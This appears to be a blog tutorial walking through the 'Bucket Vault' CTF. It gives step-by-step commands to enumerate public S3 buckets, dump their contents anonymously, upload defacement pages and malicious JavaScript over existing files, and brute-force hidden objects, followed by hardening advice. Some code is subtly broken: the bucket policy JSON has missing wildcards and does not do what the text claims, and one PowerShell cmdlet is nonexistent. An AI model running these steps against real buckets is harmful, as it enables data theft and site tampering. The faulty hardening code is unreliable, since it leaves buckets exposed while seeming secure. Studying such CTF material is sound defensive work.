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Introduction:
YesWeHack’s “Bucket Vault” CTF challenge simulates real‑world misconfigured cloud storage buckets, a top‑10 security risk in modern web applications. Attackers often exploit overly permissive S3 bucket policies, public write/read access, or exposed object listings to leak sensitive data or escalate privileges. This article dissects the challenge, provides hands‑on techniques for enumerating and exploiting cloud buckets, and delivers actionable hardening commands for Linux, Windows, and AWS environments.
Learning Objectives:
- Enumerate public S3 buckets and list objects using AWS CLI and open‑source tools.
- Exploit bucket misconfigurations (public read, write, bucket listing, object ACLs) to retrieve flags.
- Apply cloud hardening commands and IAM policies to prevent data exposure.
You Should Know:
- Reconnaissance – Identifying Exposed Buckets and Their Regions
Start by gathering information about the target’s bucket naming convention and region. CTF challenges often leak bucket names in JavaScript files or API responses.
Step‑by‑step guide:
- Extract bucket name from the challenge URL (e.g., `https://bucket-vault.s3.amazonaws.com` or a custom domain). Use `curl` to probe:
curl -I https://bucket-vault.s3.amazonaws.com
Look for `x-amz-bucket-region` header or use `dig` for CNAME records.
- Enumerate region with `awscli` (install via `pip install awscli` or
apt install awscli):aws s3api get-bucket-location --bucket bucket-vault --region us-east-1
If anonymous access is allowed, you don’t need credentials. For Windows, use PowerShell:
aws s3api list-objects-v2 --bucket bucket-vault --no-sign-request
- Use `s3scanner` to check multiple permutations (common if bucket name is unknown):
git clone https://github.com/sa7mon/s3scanner cd s3scanner go build ./s3scanner -buckets bucket-vault,backup-bucket,logs-bucket
Output will show “Public”, “NoSuchBucket”, or “AccessDenied”.
What this does: Identifies live buckets, their regions, and whether anonymous listing is permitted – the first step toward data exposure.
- Listing Objects Without Credentials – The “ListBucket” Permission
Anonymous users with `s3:ListBucket` can see all object keys. This is frequently misconfigured in development and CTF scenarios.
Step‑by‑step guide:
1. List all objects recursively (Linux/macOS):
aws s3 ls s3://bucket-vault --recursive --no-sign-request --region us-east-1
For Windows Command Prompt (using AWS CLI):
aws s3 ls s3://bucket-vault --recursive --no-sign-request --region us-east-1
2. If listing works, pipe results to find interesting files (flags, .env, configs):
aws s3 ls s3://bucket-vault --recursive --no-sign-request | grep -E "flag|.txt|.json|secret"
3. Use `s3-bucket-finder` for automated scanning (Ruby tool):
gem install s3-bucket-finder s3-bucket-finder.rb bucket-vault
It highlights publicly listable buckets and their contents.
What this does: Reveals every file stored in the bucket. In a CTF, you’ll often find flag.txt, backup.zip, or API keys. In real audits, this exposes customer data, credentials, or source code.
3. Retrieving Objects – Reading Data with GetObject
Once you have object keys, download them directly. The `s3:GetObject` permission is even more common than ListBucket.
Step‑by‑step guide:
1. Download a single file (e.g., `flag.txt`):
aws s3 cp s3://bucket-vault/flag.txt . --no-sign-request
2. Batch download all objects using `sync`:
aws s3 sync s3://bucket-vault ./vault-dump --no-sign-request
3. If the bucket is website‑hosted, you can access objects via HTTP:
curl https://bucket-vault.s3-website-us-east-1.amazonaws.com/flag.txt
Or use `wget` with recursive mirroring:
wget -r -np -nH --cut-dirs=1 -R "index.html" https://bucket-vault.s3.amazonaws.com/
4. For Windows, use `Invoke-WebRequest` or `curl.exe`:
curl.exe -O https://bucket-vault.s3.amazonaws.com/flag.txt
What this does: Downloads the flag (or sensitive data). The ability to read arbitrary objects without authentication is a critical misconfiguration.
- Exploiting Upload Permissions – Defacing and RCE via Public Write
Worse than read is write (s3:PutObject). Attackers can upload malicious files – JavaScript for XSS, PHP shells (if bucket serves as a web root), or large payloads for cost attacks.
Step‑by‑step guide:
1. Test upload capability (create a test file):
echo "test" > test.txt aws s3 cp test.txt s3://bucket-vault/test.txt --no-sign-request
2. If successful, attempt to upload a reverse shell or phishing page. For a bucket that hosts a static website, upload index.html:
echo '<html><body>Hacked by CTF</body></html>' > index.html aws s3 cp index.html s3://bucket-vault/index.html --no-sign-request --content-type text/html
3. Overwrite existing files – use `–acl public-read` to make the file world‑accessible:
aws s3 cp malicious.js s3://bucket-vault/script.js --acl public-read --no-sign-request
4. Windows equivalent (AWS CLI for PowerShell):
Write-Content -Path "test.txt" -Value "test" aws s3 cp test.txt s3://bucket-vault/test.txt --no-sign-request
What this does: Turns a misconfigured bucket into an attack vector. In bug bounties, this can lead to account takeover if the bucket stores config files or session tokens.
- Mitigation & Hardening – Proper Bucket Policies and IAM
To secure cloud buckets, enforce explicit deny policies and use pre‑signed URLs for temporary access.
Step‑by‑step hardening guide (for AWS):
- Block public access at account or bucket level (AWS Console or CLI):
aws s3api put-public-access-block --bucket bucket-vault --public-access-block-configuration BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true
2. Set bucket policy to deny unauthenticated requests:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Principal": "",
"Action": "s3:",
"Resource": [
"arn:aws:s3:::bucket-vault",
"arn:aws:s3:::bucket-vault/"
],
"Condition": {
"Bool": {
"aws:SecureTransport": "false"
}
}
}
]
}
Apply with:
aws s3api put-bucket-policy --bucket bucket-vault --policy file://policy.json
3. Enable bucket logging and CloudTrail to detect anomalous access:
aws s3api put-bucket-logging --bucket bucket-vault --bucket-logging-status file://logging.json
4. Use pre‑signed URLs for temporary access (valid for 5 minutes):
aws s3 presign s3://bucket-vault/secret.doc --expires-in 300
What this does: Implements defense‑in‑depth for S3 buckets. Even if credentials leak, pre‑signed URLs and deny policies prevent data exposure.
- API Security & Advanced Exploitation – Bucket Object ACLs and Versioning
Sometimes buckets have restrictive listing but permissive object ACLs. Attackers can brute‑force object names or leverage versioning to retrieve deleted flags.
Step‑by‑step guide:
- Check object ACLs on a known object (e.g.,
flag.txt):aws s3api get-object-acl --bucket bucket-vault --key flag.txt --no-sign-request
Look for `URI=”http://acs.amazonaws.com/groups/global/AllUsers”` – that means public read.
- If versioning is enabled, older versions may contain unredacted flags:
aws s3api list-object-versions --bucket bucket-vault --no-sign-request aws s3api get-object --bucket bucket-vault --key flag.txt --version-id <versionId> old-flag.txt --no-sign-request
- Bypass listing with bucket brute‑forcing using common names (e.g.,
backup.zip,.git/config,wp-config.php):for word in $(cat wordlist.txt); do aws s3api head-object --bucket bucket-vault --key $word --no-sign-request 2>/dev/null && echo "FOUND: $word"; done
4. Windows alternative using PowerShell:
Get-Content wordlist.txt | ForEach-Object { aws s3api head-object --bucket bucket-vault --key $_ --no-sign-request 2>$null; if ($?) { Write-Host "FOUND: $_" } }
What this does: Uncovers “hidden” objects and previous versions. CTF designers often leave the flag in an older version after “fixing” the bucket.
- Tool Configuration – Automated Cloud Enumeration with CloudBrute
CloudBrute is a multi‑cloud bucket enumerator that supports AWS, GCP, Azure, and DigitalOcean. It’s invaluable for CTF and bug bounty.
Step‑by‑step guide:
1. Install CloudBrute (Go binary):
git clone https://github.com/0xsha/CloudBrute cd CloudBrute go build cloudbrute.go
2. Run against a target domain (e.g., `yeswehack.com`):
./cloudbrute -d yeswehack.com -k bucket-vault -m s3 -w wordlist.txt -t 20
3. Parse results – it outputs bucket names, regions, and public status.
4. Integrate with `jq` to filter only open buckets:
./cloudbrute -d example.com -m s3 -w common.txt | jq 'select(.Public == true)'
What this does: Automates the entire discovery process. In a real engagement, you would combine CloudBrute with `nuclei` templates for S3 misconfigurations.
What Undercode Say:
- Misconfigured cloud storage remains the leading cause of data breaches (Capital One, Uber). Always assume buckets are public until proven otherwise.
- The “Bucket Vault” CTF teaches a universal lesson: implement the least‑privilege principle, enable block public access by default, and audit bucket policies regularly using tools like `scoutsuite` or
prowler.
The hands‑on commands above – from `s3 ls` to CloudBrute – equip security professionals to both attack and defend cloud assets. The same techniques that capture a flag can expose millions of records; use them ethically and always obtain written permission. Cloud hardening is not “set and forget” – continuous monitoring and versioning controls are your last line of defense.
Prediction:
As serverless and AI‑driven applications increasingly rely on cloud object storage, misconfigurations will become more subtle (e.g., bucket policies that allow access from specific VPCs but not from the internet). Future CTF challenges will incorporate AI‑generated bucket names, dynamic IAM roles, and cross‑account access. Enterprises will shift toward “zero‑trust storage” – requiring signed requests for every object, even for internal users. The skills you practiced here – enumerating, exploiting, and hardening – will remain essential for the next decade of cloud security.
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